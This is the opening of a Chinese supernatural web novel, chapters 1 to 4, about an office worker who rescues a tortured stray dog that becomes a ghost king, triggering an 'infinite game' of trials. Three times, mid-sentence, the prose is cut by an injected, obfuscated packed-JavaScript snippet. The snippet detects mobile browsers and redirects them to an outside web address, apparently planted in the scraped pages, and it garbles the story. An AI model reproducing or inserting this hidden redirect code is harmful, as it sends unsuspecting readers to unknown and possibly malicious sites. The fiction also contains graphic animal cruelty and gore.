《美人抚慰怪物的正确技巧》 1. 第一章 【我下班的时候偶尔会经过那条小巷,巷子的路口卧着一条流浪狗。】 【而今天,那条狗就要死了。】 * 又是加班的一天。 青年手拿公文包,急匆匆地往回赶。 天气预报说今晚要下雨,而他晾在阳台上的衣服还没收。 就在他着急忙慌的时候,一股没来由的心悸感袭上心头,迫使他脚步一顿,侧头往旁边看去。 那里有条小巷,巷子口空空如也。 谢叙白探着脖子张望一阵,疑惑地喃喃道:“那条狗呢,怎么没在?” 这条街道远离主城区,位于城市一方偏隅。楼房灰败老旧,路灯常年失修,灯柱子上长满铁锈。 残破的灯泡一明一灭,显得巷子昏暗幽深,好似怪物张着血盆大口,静静地潜伏着。 然而巷子里没有什么怪物,只有一条瘦骨嶙峋的流浪狗。 或许是谁曾经养在这儿的,念旧,没人拴着它,却一直不肯离开。 平时最远只跑到巷子口,在道路前蹲坐下来,目光远远地朝外看。 附近的居民都说,那是条坏狗,凶恶难驯,见人就叫,人靠近就咬,经常和附近的猫狗打架,也把自己弄得浑身是伤。 血从伤口流出来,将毛发打湿成一缕缕,又凝成暗红的血痂。远远看上去,像得了斑秃疥螨,又丑又恶心。 他们嫌恶地咒骂过:“像这种会咬人的疯狗,浑身上下都带病,换以前早叫人乱棍打死了,不知道还留着干什么!” 但也只是骂一骂。 专业的抓狗大队迟迟不来,而那条狗动作灵活,心眼多,又真的会狠到和人拼命,谁都不愿冒这个风险去除害。 没有限制,狗当然“不负众望”,活得神采奕奕,生命力堪比小强。 谢叙白并不经常来,只有赶时间的时候才会从这里抄近路,十有八九会看到狗蹲在巷子口。 他觉得居民的话不太对,因为以往从这里多次路过,流浪狗都没冲他叫。 它好像也不是在等人,目光只看着路和天,没在路人的身上停留半点。 但讨厌人类这一点应该是真的,有几次谢叙白兴起收养这条流浪狗的想法,只是还没等他靠近,狗就抖擞毛发站了起来,矜贵冷漠地瞥他一眼,踱步离开。 这还是他在狗面前混了个脸熟,待遇相对较好。 要是遇到狗不待见的,比如朝它脑袋丢石头的那几个小孩,无一不是见面就被一阵吼,又被追得屁滚尿流,从巷尾跑到巷口,哭得袖子上全是鼻涕和眼泪。 一张狗脸龇牙咧嘴,大写的记仇。 所以那条狗现在去哪儿了? 谢叙白在原地站上好一会儿,直到一道强烈的念头在他脑海里浮现。 【动物对天气都比较敏感,今晚这么冷,又在刮大风,那条狗没准早就找了个地方避雨,不回来了。】 是啊,那狗聪明得很,不会傻傻地杵在什么遮挡物都没有的巷子口淋雨,应该在哪个地方躲着。 谢叙白这样说服自己。 可和念头里的不以为意相反,那股莫名的不安再次出现,萦绕在胸腔,愈演愈烈。 就好像,如果他今天在这里转身离去,必定会有让自己后悔一辈子的事情发生。 【不不不,我又在胡思乱想些什么?回去晚了,阳台被淋,明早没衣服穿才是要后悔一辈子的事情。】 想到自己明天只能穿着半干的衣服去公司,被同事们投以异样的眼神,谢叙白就浑身难受。 他妈妈很早就走了,他爸放浪不羁玩失踪,只能自己跑生活,苦命学习都是为了出人头地。 两个月前刚被聘入一家世界五百强公司,好不容易才拿到实习转正的机会,就要这么浪费掉? 【还是别了,回去吧。】 谢叙白按了按太阳穴。 不知道为什么,从刚才无端想要停在这个巷口开始,头就痛得非常厉害,仿佛有钢针在往里钻。 所幸,在他想要回家的时候,那股难忍的疼痛就消失了。 或许是刚才夜风太大,吹得头疼。 谢叙白恍惚一下,拍拍脑袋,忍俊不禁地笑话自己多疑多虑:“好了好了,赶快回家,明天7点钟要起床,凌晨1点钟就得睡觉。” 【必须在早上8:00前到公司打卡,9:00到12:30在岗位工作,随后在公司食堂的第二个窗口吃饭,周四去第三个窗口,午休半小时,13:30继续工作。】 脑子里的念头又响起。 谢叙白下意识在心里续接。 如果额外有项目,需要加班到21:00,极少时候会延迟到22:10,最后乘坐22:30的末班车。 【24:00前到家,15分钟洗澡,3分钟吹头发,喝1瓶甜牛奶。】 5分钟入睡,6:30闹铃响起,关上闹钟再睡20分钟,6:50闹钟再响一次,在床上继续赖一阵。 【7点钟听到闹铃,准时起床。】 8:00到公司打卡,9:00到12:30在岗位工作,明天是周三,要在公司食堂的第二个窗口吃饭。 【全力跑回家吧,还能赶在24:00前到家,15分钟洗澡,3分钟吹头发,喝1瓶甜牛奶。】 乌云遮盖夜空,阴影不知不觉侵蚀了这片大地。夜晚的街道静无人烟,听不到一点人声。 远处嘈杂的车流声、耳畔的虫鸣,似乎在不断远去,只有浅显的呼吸声从腹腔传来。 一起一伏。 谢叙白目光放远,呈现出一种无机质的空洞,缓慢挪开对着幽暗巷子的脚尖。 像是松弛的齿轮零件被强硬地按回原位,他的动作愈发流畅自然,再没有一丝的不和谐。 忽然,一道细微虚弱的狗叫声从巷子最深处传来。 “呜……” 谢叙白的脚步霎时间僵在当场。 他飞快转头,没有一点迟疑,快步回到小巷口。 这个过程中脑袋又痛了起来,剧烈汹涌,像是要裂开,可是谢叙白根本无暇顾及。 在巷道的转角处,一只枯瘦的爪子颤颤巍巍地伸出,指甲撕扯地面,往外努力地爬,很快露出一团毛绒绒的身影。 是那条流浪狗! 它看起来更瘦了,皮包骨头,根根肋骨朝外凸起。 更可怕的是,狗的半边脸和身体好像被什么液体所腐蚀,毛发溃烂,暗红色流脓的血肉裸露在外,甚至能看到森白的骨头。 不知道是凭借什么样的意志力,才能拖着身体费力出现在谢叙白的面前。 鲜血沾满狗的眼眶,像血泪一样大股淌落。 一只眼睛血肉模糊已然坏死,另一只眼珠子疯狂颤动,恐惧着,绝望着,朝谢叙白远远地看了过来。 仿佛在说。 ——救我。 和流浪狗对上眼的一刻,谢叙白脑袋里的痛感直线拔高,几乎要把他痛昏厥,背后全是被激起的冷汗。 才刚压下去的心声,再一次阴魂不散地冒了出来。 【我下班的时候偶尔会经过那条小巷,巷子的路口卧着一条流浪狗。】 不对,不应该说是他的心声! 那声音冰冷空洞,怪诞离奇,平铺直叙地陈述着当前发生的一幕幕,就像戏剧现场的提词器。 【我和流浪狗接触一阵子,发现它并没有居民说的那样残暴,相反很是温顺。但周围的居民不知道为什么对它饱含恶意,孩子用石头丢它,大人用铁棍驱赶它。】 【通常一个区域的流浪动物会自觉分出老大,这条狗就是这一带的狗王。但有一天,它底下所有的猫狗突然发了瘟,对它又撕又咬。】 【抓狗大队过来,当着它的面打死所有犯病的猫狗,唯独留下伤痕累累的它。从那以后,居民们变本加厉,拿弹弓射狗的眼睛,举起水果刀嘻嘻哈哈地玩猎狗游戏,在狗经常出没的地方放老鼠夹和各类陷阱。】 【最终,它被人迎面泼了硫酸,奄奄一息地倒在巷子深处。】 声音继续无情地述说,没有一点波澜起伏,为流浪狗凄惨可悲的命运落下一锤定音。 【我是一个普通的过路人,为好不容易争取的新工作忙得焦头烂额,没能注意到流浪狗身上发生的不幸。】 【流浪狗只剩半口气、挣扎着地盯住巷子口的时候,我满脑子都是快点回家,小跑着从它眼前一掠而过。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579648|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【而今天,那条狗就要死了。】 不! 谢叙白在心里声嘶力竭地反驳、怒喝,抗拒这股压迫着他,想要让他认命接受现实的力量。 也是这个时候,他脑子里传来轰然碎裂声。 啪嚓。 身上一松,谢叙白猝然抬头,望着眼前好像大不一样的世界。 仿佛从幽深的海底飘上水面,整个世界霎时间褪去那层雾蒙蒙的面纱,变得无比清晰。 没来得及思考更多,重新恢复行动力的谢叙白,当即朝浑身浴血的流浪狗冲了过去。 流浪狗在下一秒感受到一股轻柔暖热的力道。 那力道抱起它,忽然变得笨手笨脚,似乎碍于它严峻的伤势而束手无措。 焦急温雅的嗓音从头顶传来,像从天而降的救命绳,一点点地吊起流浪狗灰暗眸眼里的神采。 “没事的,没事的,乖,我马上带你去看医生。” 另一边的居民楼上,一个手持望远镜的中年人看到这一幕,气急败坏地踹了脚墙面,爆出一连串国骂。 “我@*!@&*!” 他狰狞着脸,恨声道:“都他妈快凌晨了,为什么会突然跑出个人来坏事,艹他妈!” 旁边的胖男人似乎也没想到会发生变故,紧张地盯着那个人,继而大大地松了口气。 “没事,我刚确认过,那就是个普通人,偶尔会出现在这条路上。” “狗只剩一口气,就算他能把狗送到医院,那条狗也挺不了这么久,必死无疑。” 说着,他望向抱起狗的谢叙白,眼神冰冷至极,像在看着一个死人,满口笃定。 “至于这个差点坏了我们好事的人,正好让他成为诡狗的第一件血祭品。” 仿佛印证着胖男人的话。 谢叙白怀里的流浪狗开始不断抽搐,直到动作变慢。 谢叙白在此刻无比清晰地意识到,只怕他还没跑出这条巷子,流浪狗就会死,必须现在就做点什么。 他额头冒汗。 血凝固住了,问题不在流血。要处理灼烧伤、伤口发炎,以及补充大量的营养。 可是他现在身上连瓶水都没有! 除非他…… 谢叙白脚步刹停。 他觉得自己可能是傻了,疯了,圣母心发作没地方使。 等他反应过来的时候,已经一口咬上了自己的手腕。 人类牙齿钝,又有畏痛的本能,正常人连指头都咬不破,这一口当然极难咬下去。 ——我没疯,也没傻。我和这条狗无亲无故,确实犯不着为它干这种蠢事。 谢叙白冷汗直冒,牙齿一点点使劲,痛得手臂在颤,大脑却比任何时候都要平静清明。 ——可我想救它,哪怕只有一点可能性。 狗眷恋地看着谢叙白,这个它生前感受到的最后一丝温暖,再也支撑不住,前爪瘫软下去,蜷成一团。 居民楼上的两男人拿望远镜看到这一幕,满是不怀好意的嘴脸当场笑开了花,转头开瓶香槟,两人碰杯。 可他们不知道,当谢叙白把血喂进流浪狗的嘴里时,奇迹发生了。 那狗喝到血后,蓦地回光普照,干瘪瘦弱的胸腔居然一点点地鼓胀起来! 屋里的两人还在大谈这些天的不易。 比如他们找了快三年,才找到这样一条充满灵性的狗,简直是天赐的炼诡胚子。 期间他们又是给围在流浪狗身边的那群猫狗下药,又是宣传疯狗咬人致死事件,还花大钱买通抓狗的人,全面催化附近居民对流浪狗的恶意。 如果不这样做,怎能让这条狗在生前受尽折磨、充满怨恨,达到成诡的条件? 只待狗死去,就会成为被他们奴役的恶诡。 中年人忽然想起一件事:“说起来,这练诡的法子阴狠歹毒,好像有个莫大的忌讳,你还记不记得是什么?” 大概是觉得事情十拿九稳,胖男人几杯酒接连下肚,醉得五仰八叉。 他迷迷糊糊地想了一会儿,咧开嘴阴恻恻地笑起来。 “记得,那就是在那狗阴阳轮转、从活到死的极短时间,千万不要给它喂生人的血!” 2. 第二章 话音未落,两人同时眼前一黑,吐出几口浓稠如沥青的黑血。 紧跟着是撕心裂肺的疼痛,折磨得他们生不如死,惨叫连连。 桌椅被撞倒,手里的酒杯摔在地上,玻璃渣子混着酒液飞溅,室内霎时间一片狼藉。 两人挣扎着爬起来,脸上没了血色,满眼都是震惊和恐惧,哪里还看得出刚才的嚣张。 中年人惊骇地质问:“那个天杀的路人到底干了些什么!?他不是个普通人吗,为什么我们会遭到反噬?!” 他左右没想明白,反而因为急怒攻心,又吐了一大口黑血。 视线转到一人一狗这边。 从流浪狗咽气到神奇地恢复活力,大概有三分钟,期间谢叙白大气都不敢喘一下。 看到流浪狗终于有了精神,他高悬在嗓子眼的心脏蓦然落回原地,紧绷的肌肉一松。 后知后觉地产生一股“我是不是在做梦”的荒谬感。 刚才都发生了些什么? 先是他脑子里出现奇怪的声音,那声音让他快点回家。然后他看到被泼硫酸的狗子,半边身体都遭到严重腐蚀。 眼看狗子下一秒就要咽气,必须立刻马上做点什么,他脑袋一抽想出个损招,给饥肠辘辘的狗子喂血。 神奇的是,狗真的在他眼前死而复生了。 ……什么鬼这是,电视剧都不敢这么拍! 过于震惊,导致谢叙白大脑都迟钝了三分,直愣愣的和狗“深情对视”。 狗子仰着脑袋看他,只剩一只眼,浮现猩红血色,却莫名有股温和的意味,仿佛千言万语都凝聚在这一眼中。 直至谢叙白昏倒。 或许是失血过多,青年的大脑一阵眩晕,眼前的景色变得虚无缥缈,视野飞速下坠。 但他没有砸在坚硬冰冷的地面,狗子靠过来,瘦弱伤残的躯体突然变得非常有劲,将他牢牢接住。 不,等等。 得……得快点带它去医院。 谢叙白盯着狗子血肉模糊的脸,努力睁大眼睛。 他想要爬起来,终究敌不过铺天盖地的疲乏,颤若蝶翼的眼睫缓慢闭合。 …… 不知过了多久。 谢叙白被温热柔软的舌头舔醒。 他睁眼看到一张完好无损的狗脸,迷茫地眨了眨眼。 昏倒前的记忆如海浪打来,惊得他一个鲤鱼打挺坐直了身,不敢置信地揉捏狗子的脸。 虽然毛还是那么糙,身体还是那么瘦,但一点伤都看不见。 “怎么回事?你没事……真的没事!这怎么可能?” 意识到自己这话有歧义,谢叙白连忙庆幸地改口:“不对,没出事才好。” 看着谢叙白脸上真情实意的担忧和高兴,狗子面无表情地偏了偏脑袋,开始呼呼摇尾巴。 没多久,谢叙白发现周围不对劲。 地上除去积着一层灰,散落着碎石子和被踩扁的塑料袋,没有一点血迹。 谢叙白凝神,唰一下拉开自己的衣袖。 手腕皮肤白皙完好,没有被他咬出的牙印和伤口。 他又飞快地拿出手机,显示时间,00:44。 “……我是累得脑袋断片了,还是在梦游?” 谢叙白不真切地呢喃道。 忽然,他感觉有什么东西在蹭自己的小腿,毛发硬茬,骨骼突起。 低头一看,果然是狗子。 狗子似乎第一次学着和人类亲近,动作很不熟练。 它又是别扭高冷的性子,蹭了没两下,见谢叙白不敢置信地盯着自己,一愣。 再一埋头,看见自己脏兮兮的爪子和瘦骨嶙峋的身体,以为谢叙白和其他人一样,嫌弃它脏和丑,不自在地退开两步。 可谁能想到,下一呼吸谢叙白就毫无征兆地扑了上来,惊喜地将它抱个满怀。 “你刚才在蹭我?” 满脸沉郁的狗子差点被吓得叫出声。 不怪谢叙白这么激动。 之前他十几次试图和狗子亲近,可对方往往都是一脸高冷,碰都不愿意让他碰,也不吃任何人投喂的食物。 而如今,不亲人、戒备心超强的狗子居然主动和他贴贴蹭蹭,这是何等飞跃性的进步! “你其实不讨厌我的,对不对?” 之前那段玄幻离奇的经历,被谢叙白归纳为自己累趴倒地时做的梦。 或许狗子就是在他昏倒后才出现的,不仅没有离开,反而蹲在一旁守着他醒来,怎能不让谢叙白感动? 他再一次柔声发出邀请:“乖狗,跟我走吧。” 狗子明显不习惯让人抱,谢叙白说话的功夫,它小幅度地挣扎了好几下。 过后不知道是不是沉溺于青年身上的温暖,渐渐不再乱动。 “你跟我走,我保证每天给你梳毛、洗澡,让你吃饱穿暖,干干净净,不用挨饿。” 谢叙白说:“我家虽然不大,但我会努力挣钱,将来我们一起住大房子。如果你舍不得这个地方,等工作忙完,我就陪你过来,到时候不会有人再赶你骂你,我会保护好你的。” 这些话,都是青年攒在心里,一直想对狗子说的。 一旦打开话匣子,就忍不住絮絮叨叨地说上很多。 狗子没有不耐烦,扬起脑袋,靠在谢叙白单薄却也结实的胸口,耳朵不时动一动,仿佛听得很认真。 那嗓音温柔悦耳,为照顾听力敏感的狗子特意放轻,无形的话语好像传播着实质性的热意。 可最终,直到青年说完,狗子都没有同意。 它转头挣开青年的怀抱,钻进隐蔽在树丛中的塑料桶。 塑料桶不大,刚好容纳狗子瘦弱的躯体,顶部敞开,横倒在地,勉强可以当个窝。 平时睡觉的时候狗子就缩在这里,不知道是不是害怕它身上的病菌,居然没被老太太捡走。 谢叙白叹了口气,遗憾却不失落,因为知道狗子还在这,下班后自己随时能来看它。 他在塑料桶前蹲下身,狗子倒也不回避,直勾勾地盯着他。 直到谢叙白将衣服脱下来,裹住狗子的身躯:“今晚这么冷,裹上会睡得舒服点。” 衣服不差这一件,会在他昏迷时守着的狗子是真不多见。 他真的很喜欢这条狗。 狗子这下也是真的愣住了。 衣服内部还有没散开的暖意,及一丝沐浴露的草木香。 狗子情不自禁地垂头轻嗅,听到谢叙白又说:“虽然你不跟我走,但咱俩也算认识了,总不能一直叫你狗子……我叫你平安行吗?” 狗子自小被丢弃,没有名字。谢叙白总觉得狗子听得懂人话,于是认真地和它商量。 这话里其实含着一些小心思,因为取名字的感情是相互的。 不止人会把狗子放在心上,狗子在听到有人喊它的名字,就知道是谁在叫它,时间一长,便会形成下意识的依赖。 “平安,乖平安。” 谢叙白揉揉狗子的头,弯起如玉眸眼,温言细语地祈愿。 “岁岁年年,平平安安。身体康泰,福祚绵长。” 刚巧这时天上传来一道轰隆雷鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579649|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,空气里飘起丝丝缕缕冰凉的水汽,料想过不了多久就会下起倾盆大雨。 总觉得自己好像忘记什么事的谢叙白,倏然起身。 糟了,还有阳台上的衣服! “不行我得快点回家,明天见平安——” 谢叙白捡起掉在地上的公文包,抬腿开跑。 五秒。 十秒。 二十秒。 从谢叙白取名开始就僵立不动的狗子,突然像发了疯,飞快冲出塑料桶。 四条瘦长的腿用尽全力,跑出一道道残影,目光死死追随着不远处的身影,生怕一秒就跟丢。 眼看着快要冲出小巷口,一股无形的力道将狗子拽了回去,它重重摔在地上。 谢叙白此时已经跑出拐角,离小巷口有一段距离。 他听到细微声响,似有所感地回头,却什么都没看见。 “今天到底是怎么了?”谢叙白无奈地拍了拍脑袋,继续跑。 身后,踉跄站起的狗子重新爬到小巷口的边缘,痴痴地往外看。 它的脖子缓慢浮现出一圈焦黑的伤痕。 狗子没有人要等,也不是念旧,更不是受.虐狂非要留在这个不受待见的地方。 它只是被两个坏人用符咒套上无形的项圈和链条,到死也没能离开。 “呜嘤——” 看到谢叙白的身影即将消失在尽头,狗子急得直喘粗气,爪子刨地,身体哽咽哆嗦,都没意识到,自己在委屈地发出呜呜哀鸣。 它舍不得这个人走。 如今它变聪明了很多,知道只要自己用力叫一声,那个人就会回头,重新过来拥抱它。 可是看着远处的灿烂灯火,它迟疑了,张开的嘴巴缓慢闭紧。 狗子就这么目不转睛地看着,看着青年快步向前,远离这条幽暗死寂、充斥着无数恶意的小巷。 看着青年跨过光与暗的分界,步入灯光明亮的街道,再次回到正常人类该去的世界。 在狗子的背后,小巷终于现出它可怖的真貌。 只见黑雾翻涌弥漫,数不清的猫狗阴魂从地面钻出。它们放肆尖笑着,似婴孩哭泣,又似杜鹃泣血,嘲哳刺耳。 无数道阴魂疯狂地冲入某个居民楼,如同利爪穿透两个男人的身体,鲜血四溅。 两人痛得面目狰狞,恐慌惨叫,一时还没咽气。 只见胖男人率先反应过来,目光一狠,将旁边的中年人推向阴魂潮,牵制它们,同时抽出一叠符纸。 符纸无火自燃,挡住其他阴魂的攻击。 胖男人趁机捂着洞开淌血的肚子落荒而逃,屋内只留下中年人声嘶力竭的嘶吼:“张斌,你敢卖我,你个狗娘养的东西——!” 下一秒中年人被高高抛到上空,诸多阴魂一拥而上,嘻嘻哈哈地钻入他的体内。 他的身体立时如同充气的皮球膨胀变大,中年人不断求饶、大喊,却于事无补。最终皮.肉抻展到极限,传出噗呲一声,血.肉绽开,如雨而下。 狗子对这一切置若罔闻。 它重新回到塑料桶内。半边身体腐烂,露出森森白骨。半边身体完好,小心地贴靠在谢叙白留下的衣服上。 那只猩红独瞳一片漠然,只有嗅到青年残留的味道时,才透出些许的眷恋。 【叮,检测到该区域诞生A级“诡王”。】 之前控制谢叙白的声音再度响起,却是以广播的形式,传播到另一个空间。 听到的人无一不是如遭雷击,面露骇色。 【副本《犬害》已生成,即将投入试炼。】 3. 第三章 玩家大厅。 冰冷的广播通报声已经结束很久,底下的人群却仍旧囔得沸沸扬扬,像炸开了锅。 “A级副本A级BOSS?还是个诡王??开什么玩笑!” “听错了,一定是我听错了。” “清醒一点,怎么可能在场所有人都听错?” “但那可是A级诡王!无限游戏开启至今我们只遇到过一次A级诡王,后果就是……” 谁都不敢接下去。 无言的恐惧在所有人心里蔓延。 大约一年前,无限游戏降临现世,开场就是三亿人被拉入一个无边无际的广场。 一眼望去,什么人都有,不分人种、年龄和性别,无论所处的时间和地点,叫嚷的人群里甚至还有深海五千里的潜艇船长。 游戏主办方展露出它神鬼莫测的力量,却没有直接现身。 浩大无垠的天空,只有一轮圆形阴影像黑洞般悬在其中,大得仿佛能够遮天蔽日。 当黑影迫近,从头临下,所有人的脑海同时接收到一段惊世骇俗的信息。 ——全球大概八十亿人,他们这三亿人成了最后的幸存者。 ——想要赎回其他七十七亿人的命,重回现实世界,必须有人在三年内连续首通【10】场试炼,赢下这场游戏! ——反之,如果最后也没人成功,那他们就会沦陷在这无限世界,永无尽头。 “连续”的意思很好理解,不能跳关,中途不能失败。 “首通”即参加每一场首次生成的试炼,只要当期通关,均可记【1】次次数。 但当时的玩家都没能意识到,这两个词加起来,是何等沉重的分量。 尤其当他们知晓,在副本中死亡,不会真的死掉,只会被清空和试炼有关的所有记忆和奖励积分,立马从愁眉苦脸变成欢天喜地,信心大增。 不会死的试炼还怕它干什么? 他们足足有三亿人,一人一口唾沫星子都能把副本给淹咯,拿下胜利那不是手到擒来? 直到A级诡王副本《嫁山女》开启。 首通参与玩家,两亿五千四百三十三万人。 最后通关玩家,一千八百六十七人。 存活率不到十万分之一! 更令人毛骨悚然的是,以往的副本再难熬,等到关卡结束,所有死去的玩家都会复活。 然而那一场A级诡王副本结束后,居然有玩家在号称绝对安全的大厅里自.残自.杀! 他们幻视嫁山女就在自己的身体里,拿刀剖开皮肤,挖开肚子,因剧痛导致眼白布满狰狞的红血丝,边吐血边扯出自己的血肉脏器,疯狂地朝众人嘶吼求证。 “看啊!她就在这里,快帮我抓住她,快点啊!……你们为什么不看?为什么不救我?!我要被她吃完了!” 接着他们在血泊中欢呼,手舞足蹈,又哭又笑,已然癫狂:“哈哈哈……我抓到了嫁山女,我通关了!终于可以回家了……哈哈呜呜呜呜啊妈妈……” 玩家不会死亡,伤口可以复原,记忆能够清空。 但造成的精神损伤却会像附骨之疽般扎入灵魂,让人变成疯子。 从那之后,再无人敢轻视这场关乎全人类的生死游戏,更有一半人心理阴影太大,怕得彻底放弃首通试炼。 而A级诡王副本,也成为了他们心中挥之不去的噩梦。 不多时,试炼通告正式下达。 玩家们战栗地点开游戏界面的通告信息。 当看着那血红的“A级诡王”几个大字时,最后的侥幸心终于破灭,沉入谷底。 有人破口大骂,有人自暴自弃。 当年侥幸通关《嫁山女》的老玩家更是崩溃大吼:“没有弱点,A级诡王根本不可能会有弱点!” “诡王的特性让它们可以源源不断地召唤恶诡,它们不知疼痛,实力强大,心里除了仇怨就只有嗜杀的凶性,手段极其残忍,遇上后我们只能逃跑,或者原地等死!” 绝望、压抑的气息如同冰天雪地里吹出的寒风,灌入每一个玩家的心里。 【副本《犬害》预计开启时间:明天傍晚18:00,敬请期待!】 游戏界面浮现一串血字,最后的“期待”两字微微扭曲。 浓烈恶意扑面而来,仿佛在嘲笑他们螳臂当车的结局。 . 第二天的谢叙白起了个大早。 昨晚睡得比较迟,没想到起来后身体没有一点不适,反而神清气爽。 谢叙白不由得心情大好,张望天空时,整个世界都好像变得敞亮了很多,有种豁然开朗的明悟感。 简单洗漱,收拾妥当,他便拎着公文包和狗狗吃的零食罐头出了门。 被暴雨洗涤后的天空看着比往日要湛蓝清澈,风和日丽,是个好天气。 由于时间还早,街上只有零星几个路人。 谢叙白小跑着一路来到小巷口。这里的石砖坑坑洼洼,积水流不进下水道,显得地面潮湿泥泞。 本以为天性讨厌水的狗子会缩在窝里不出来,得到巷子深处去找,谁知道抬头就看到了狗子的身影。 瘦瘦的一团,站得笔直,正探着脖子专心地盯着另一边看。 右边是谢叙白去上班的方向,左边是下班回家的路。 但谢叙白上班不往这条街道走,导致狗子以为青年只会从左边出现。 仿佛和对方心有灵犀,谢叙白笑着高声呼唤:“平安!” 狗子毛绒绒的耳朵登时就立了起来。 它转头看见谢叙白,有点惊讶,似乎没想到青年会在这个时间点出现。 紧接着尾巴呼一下摇得飞快,惊喜之情溢于言表。 果然是在等他。 谢叙白心里一热,情不自禁地弯了弯眸眼。 直至狗子激动地侧过身,露出被挡住的一缕缕黑影。 原以为是影子,可看那分叉出来的数量,一条两条三条……足足有六条! 谢叙白脚步一停,瞳孔骤缩。 “汪——!” 狗子突然很用力地嚎了一声。 趁谢叙白被吼得愣神,它飞快一脚踹向那团缠绕在一起的影子。 好几条影子仿佛受到冲击,贴着地面倒飞出去。 回神后的谢叙白反应也很快。 他三步并作两步跑过来,来不及细究那些都是什么鬼东西,将狗子护在怀里,死死盯住影子们消失的地方,脸色难看:“平安你没事吧,有没有哪里不舒服?” “汪呜。” 狗子埋脑袋蹭他胸口,似乎在安慰青年说没事。 但若是谢叙白低下头,就能看到一张写满心虚和紧张的狗脸。 所幸谢叙白没有去看狗子的表情。 ——他选择直接上。 “平安,在这等我一下。” 要换以往,谢叙白不会这么莽撞。 但平安住在这,而他马上要去上班,必须先帮狗子排查危险。 看那几道影子动作迅猛,体形娇小,应该是小型野生动物。 以防万一,谢叙白操起地上的一根塑料棍防身。 看青年谨慎前行的步伐,狗子吓得浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579650|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身毛发都差点炸开来。 它连忙对藏在深巷里的阴魂频频释放压制气息,凶狠地警告它们必须藏好,不能让青年察觉到一丝异样。 猫猫狗狗们哪敢忤逆,收起獠牙和利爪,缩成蘑菇大小的一团,躲在树丛阴翳和建筑阴影中,紧张兮兮地装鹌鹑。 当谢叙白找完几圈却什么都没找到时,双方都大大地松上一口气。 “难道我又看错了?”谢叙白揉额。 最近老是疑神疑鬼,要不周末还是去看下医生吧。 耽误的时间太久,谢叙白都没顾得上和狗子温存,开完罐头放在狗子的窝旁,就不得不快速赶往公司。 在他走后,阴魂们探头探脑从影子里钻出,好奇地靠近那散发着诱人香味的罐头。 这一带死去的流浪猫狗,生平最好的伙食就是垃圾桶里的残羹剩饭,从未见过此等美味。 它们不能直接吃,只能吸食香气。 虽说这种吃法会让食物变得像石膏般无味,但好歹能吃上。 可惜阴魂们的王没有分享食物的想法。 “吼!”这是他留给我的,都滚! 一声冷若冰霜的怒吼,吓得所有猫狗落荒而逃。 狗子用尾巴将罐头牢牢护住,等阴魂们都跑干净后,才冷哼一声,低头嗅嗅,再珍惜地舔舔。 一小时后。 谢叙白来到公司楼下,顺路去旁边买个早饭。 早餐店的老板是个脸微圆的中年妇女,由于谢叙白经常来她店里吃饭,两人混了个脸熟。 见青年远远地跑过来,她熟练地挑出刚炸好的油条,和豆浆一起装袋。 忽然她眼前一亮,像发现了新大陆般讶然道:“小伙子原来长这么帅?以前居然没看出来。” 老板眼里的惊艳货真价实,然而谢叙白没多想。 他平时就是这么一张脸,今早看镜子的时候也没觉得有什么不对,只当是寻常的问好,便笑了笑说:“可能是昨晚睡得好,显得比较精神。” “老板今天也和往常一样漂亮,气色非常好,平时都用的什么牌子的护肤品?” 老板摆手:“我这干餐饮的,从早忙到晚,全身都是油烟,哪用得了护肤呀,就你嘴甜。” 她嘴里嗔怪,面上则被哄得喜笑颜开,手里筷子不停,又夹起一根油条放进包装袋。 “年轻人正是长身体的时候,多吃一点。回头记得多帮我做一下宣传啊。” 谢叙白也没推拒,弯眸接过:“谢谢老板,肯定的。” 告别早餐店老板,谢叙白回到公司打卡上班。 结果刚进门,就被吓了一跳。 他来的时间不算晚,但工位上早已坐满了人,东倒西歪地瘫在桌子上,浑身仿佛冒着快猝死的黑气。 谢叙白怔愣一下。 他记得昨天同事们都回家了,怎么现在看着像加班加点通宵了一整晚? “谢叙白!你还在那愣着干什么,不要命啦?” 听到旁桌同事焦急的招呼声,谢叙白回神。 哪怕不明所以,他仍在本能的促使下,快速做出了当前最正确的举动——飞快坐到工位上,并依样画葫芦地打开电脑上的办公软件。 就在电脑屏幕刚亮起没几秒,一道令人胆寒的咆哮响彻办公区域,过于大声而显得尖锐。 声音的主人膀大腰圆,目测起码两米高,极具压迫感,踩着地板步步生风,眨眼间跨过大半个工作区,朝谢叙白的方向直奔而来。 “你看看这都几点了,居然现在才过来,公司招你进来是让你吃干饭的吗!?” 4. 第四章 那嗓门大得简直不是人能发出的声响,最后一字落下,地面都好像被震得抖了抖。 谢叙白没有回头,专注地看着电脑屏幕,麻利拉出工具栏。他是文员,主职是处理文件数据。 